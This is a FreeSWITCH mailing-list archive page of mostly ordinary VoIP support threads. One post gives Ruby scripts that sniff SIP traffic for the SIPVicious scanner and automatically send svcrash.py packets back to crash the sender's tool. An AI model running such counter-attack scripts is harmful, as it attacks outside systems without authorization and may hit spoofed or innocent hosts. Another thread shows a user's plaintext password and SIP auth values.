- FreeSWITCH-users - FreeSWITCH Mailing Lists

Program Crash! What should i do ?
by Alex Zhou 22 Apr '11

22 Apr '11

Hi ! Master I wrote a auto dial out program named waihu5. It's main function is fetch phone number from Oracle DB using unixODBC, then call a tuxedo services to verify the phone number.When the verify is passed, update database status for this phone number . Finally ,when receive the HANG-UP event for this phone number, get Hangup-Cause and again update database status for this phone number. It was runing perfect this morning for 1.5 hour,and processed and dialed out about 10000 phone number. But this afternoon,when it has finished 16000 phone number,it's crashed! I just don't know how to fix it?Can you help me. Here is crash info:http://pastebin.com/3xTk0GgN I have no dump file .I think since it was crashed ,it will crash again .Then i will get crash file,because i have about 90000 phone number to dial out. So if you know where is the problem ,please tell me. Thanks a lot! My english is so bad,i wish you can understand what i said. Thanks again.

3 3

LUA pattern again
by Boris Kovalenko 22 Apr '11

22 Apr '11

Hello! May somebody help me how to write regex ^7?(3435)?230\d{3} with LUA pattern? I've tried ^7?3435?230%d%d%d and this is wrong. -- С уважением, Борис Коваленко ЗАО "Тагнет" тел. +7 (3435) 230001 факс +7 (3435) 230005

2 6

error loading mod_snmp
by Serge S. Yuriev 22 Apr '11

22 Apr '11

Hi 2011-04-20 18:14:19.923216 [CRIT] switch_loadable_module.c:928 Error Loading module /usr/local/freeswitch/mod/mod_snmp.so **/usr/lib/libnssutil3.so: undefined symbol: PR_GetDirectorySeparator** Last GIT, centos 5.5 32/64bit I'm googled and found few links to analogous problem with mod_spidermonkey and mod_xml_cURL. The only cure back to 2008 is to rebuild libcurl myself as it broken in Fedora.. Is this right or I'm doing something obvious wrong? -- wbr, Serge

2 2

Difference Between "realm" and "challenge-realm" in sip_profiles
by Jerry Richards 21 Apr '11

21 Apr '11

Hello All, What is the difference between the parameters "realm" and "challenge-realm" in the conf/sip_profiles tree? Thanks, Jerry

2 1

Hangup a call with silence
by Stephen Wilde 21 Apr '11

21 Apr '11

I have a provider that doesn't send the bye when the b-leb hangup the call and the call is active until a-leg hangup. Sometime happens that the a-leg forget to hangup and the call remain active. There is a way to auto disconnect the call where there is, for example, 30s of silence? Stephen

3 7

SPIT attack and how to strike back
by Peter P GMX 21 Apr '11

21 Apr '11

Hello all, I would like to share this with you as you may have also been affected by this threat. Yesterday we received a SPIT attack to our Freeswitch servers. We had about 50 register requests/sec. We noticed this as we saw a slight increase in the load of the Freeswitch servers. Fortunately Freeswitch can handle a huge amount of register requests so we had no denial of service. You can identify this attack by finding the following in the Register message: User-Agent: friendly-scanner How to get rid of it: The attacker used Sipvicious (friendly-scanner). Sipvicious itself has a nice tool "svcrash.py" wich can send a malformed packet back to the attacker which crashes their own Sipvicious tool. You can issue this tool by python svcrash.py -d <host of attacker> -p <port of attacker> You will need port 5060 on your machine to work. But there is also a workaround for that. svcrash.py will show how to overcome this if your port 5060 is not available. Download it here http://sipvicious.googlecode.com/files/sipvicious-0.2.6.tar.gz and unpack it to a folder of your choice. I wrote a small Ruby script to send the packet back to a port range, as our attacker used some dozens of ports to send. Here is the script (Install ruby first by "apt-get install ruby" e.g. on Debian based systems). Put it into the sipvicious directory kill_ports.rb: #!/usr/bin/env ruby host=ARGV[0] start_port=ARGV[1].to_i end_port=ARGV[2].to_i start_port.upto(end_port) do |port| cmd="python svcrash.py -d #{host} -p #{port}" p cmd erg=`#{cmd}` p erg end You now can run it by ./kill_ports.rb <ip> <from_port> <to_port> By using this tool we got rid of most of the SPIT messages. But after a while they started again to attack us from different ports. The next step is: Why not automate this by trying to identify host and port automatically and send back the svcrash.py packet to the sender's port? First install the pcap library apt-get install libpcap-dev libpcap-ruby Then I wrote the following tool to automate this, it makes use of the kill_ports.rb above: strike_back.rb: #!/usr/bin/env ruby # I used some code from http://snippets.dzone.com/posts/show/5931 require 'pcaplet' require 'logger' require 'timeout' @timeout=3600 # max runtime: 1 hour @logfile='strike_back.log' class AuditLogger < Logger def format_message(severity, timestamp, progname, msg) puts msg "#{msg}\n" end end logfile = File.open(@logfile, 'a') LOGGER = AuditLogger.new(logfile) LOGGER.level = Logger::INFO search="friendly-scanner" puts"Searching for '#{ search}' in SIP packets" $network = Pcaplet.new('-s 1500') $filter = Pcap::Filter.new('udp and dst port 5060', $network.capture) $network.add_filter($filter) puts "Logfile: #{@logfile}" puts "Starting capture..." begin Timeout.timeout(@timeout) do # 3600 sec for p in $network header= "#{Time.now.strftime("%Y-%m-%d %H:%M:%S")} #{p.src}:#{p.sport} => #{p.dst}:#{p.dport}" if $filter =~ p #puts "simple search" if p.udp_data.index(search) LOGGER.info "Kill Friendly scanner #{p.src} with Source Port #{p.sport}" cmd="./kill_ports.rb #{p.src} #{p.sport} #{p.sport}" erg=`#{cmd}` p erg LOGGER.info header LOGGER.info p.udp_data end end end end rescue Timeout::Error logfile.flush puts "Timeout - finished." end There may be a better way to code this, but at least it worked. After about 15min the number of attacks went to 0. Disclaimer: You can damage other systems by using these tools. So be carefull and use at your own risks. Do not use this tool for attacking other systems! Best regards Peter

9 11

questions on make mod_flite
by Seven Du 21 Apr '11

21 Apr '11

Hi, I tried to build mod_flite but faild. git head on a mac book air with MacOSX 10.6.7 make mod_flite configure: error: cannot find install-sh or install.sh in "." "./.." "./../.." touch libs/flite-1.3.99/install-sh make mod_flite configure: creating ./config.status config.status: error: cannot find input file: config/config.in make[1]: *** [/Users/seven/workspace/freeswitch/freeswitch/libs/flite-1.3.99/Makefile] Error 1 make: *** [all] Error 1 Any ideas ? thanks -- Seven Du About: http://about.me/dujinfang Blog: http://www.dujinfang.com Proj: http://www.freeswitch.org.cn

2 3

LUA directory script
by Boris Kovalenko 21 Apr '11

21 Apr '11

Hello! May somebody help? I want to integrate directory with sql db via LUA script. By I can't authenticate user. Same user defined with xml file authenticates without problems. The FS request is: 2011-04-20 23:15:34.543486 [ALERT] switch_cpp.cpp:1190 key_name name 2011-04-20 23:15:34.543486 [ALERT] switch_cpp.cpp:1190 key_value pbx.tagnet.hn 2011-04-20 23:15:34.543486 [ALERT] switch_cpp.cpp:1190 tag_name domain 2011-04-20 23:15:34.543486 [ALERT] switch_cpp.cpp:1190 section directory 2011-04-20 23:15:34.543486 [ALERT] switch_cpp.cpp:1190 'Event-Name: REQUEST_PARAMS Core-UUID: df5b6d29-49f1-41d3-8eb0-aa7ad7ee611d FreeSWITCH-Hostname: ipats.tagnet.ru FreeSWITCH-IPv4: 80.64.16.19 FreeSWITCH-IPv6: %3A%3A1 Event-Date-Local: 2011-04-20%2023%3A15%3A34 Event-Date-GMT: Wed,%2020%20Apr%202011%2017%3A15%3A34%20GMT Event-Date-Timestamp: 1303319734543486 Event-Calling-File: sofia_reg.c Event-Calling-Function: sofia_reg_parse_auth Event-Calling-Line-Number: 2102 action: sip_auth sip_profile: ipbx sip_user_agent: SIPPER%20for%20PhonerLite sip_auth_username: 73435230045 sip_auth_realm: pbx.tagnet.hn sip_auth_nonce: 413ca6a6-84b8-41b0-89e4-43c7ed17abad sip_auth_uri: sip%3Apbx.tagnet.hn sip_contact_user: 73435230045 sip_contact_host: 192.168.3.253 sip_to_user: 73435230045 sip_to_host: pbx.tagnet.hn sip_from_user: 73435230045 sip_from_host: pbx.tagnet.hn sip_request_host: pbx.tagnet.hn sip_auth_qop: auth sip_auth_cnonce: 234abcc436e2667097e7fe6eia53e8dd sip_auth_nc: 00000001 sip_auth_response: d388a1da67bdaa9206d0f6430f998c54 sip_auth_method: REGISTER key: id user: 73435230045 domain: pbx.tagnet.hn ip: 192.168.3.253 The response is: <?xml version="1.0" encoding="UTF-8" standalone="no"?> <document type="freeswitch/xml"> <domain name="pbx.tagnet.hn"> <params><param name="dial-string" value="{presence_id=${dialed_user}@${dialed_domain}}${sofia_contact(${dialed_user}@${dialed_domain})}"/> </params> <variables><variable name="accountcode" value="ats001"/> <variable name="domain" value="pbx.tagnet.hn"/> <variable name="domain_name" value="pbx.tagnet.hn"/> <variable name="user_context" value="pre_routing"/> <variable name="v_tagnet_ats_dstport" value="0"/> <variable name="v_tagnet_ats_srcport" value="0"/> <variable name="v_tagnet_context" value="home.tagnet.hn"/> </variables> <groups> <group name="default"> <users> <user id="73435230045"> <params> <param name="password" value="01234"/> </params> <variables> <variable name="toll_allow" value="internal,local,domestic,international"/> <variable name="user_context" value="pre_routing"/> <variable name="v_tagnet_context" value="home.tagnet.hn"/> </variables> </user> </users> </group> </groups> </domain> </document> -- With respect, Boris

2 3

Freeswitch codec usage
by Stephen Wilde 21 Apr '11

21 Apr '11

In order to evaluate the number of necessary G729 codec, I have a question: if there is a sip-to-sip call in G729 and I do a tone_detect, surely it's necessary to do a decode operation. When the detect operation is completed (and I see in the log a message "removed media bug"), for this call the codec resource is released? The codec resource is allocated to the call for entire call duration or only during tone_detect phase? Stephen

2 1

Polycom TLS
by Brian West 21 Apr '11

21 Apr '11

Anyone here using Polycom with TLS on 3.3.1.0933? I have a bug that I can't nail down nor can I get all the data required due to the phone locking up and rebooting before the complete tech dump is sent to syslog. Just want to see if anyone else is having the issue where the phone will lockup/reboot. Thanks, Brian

2 6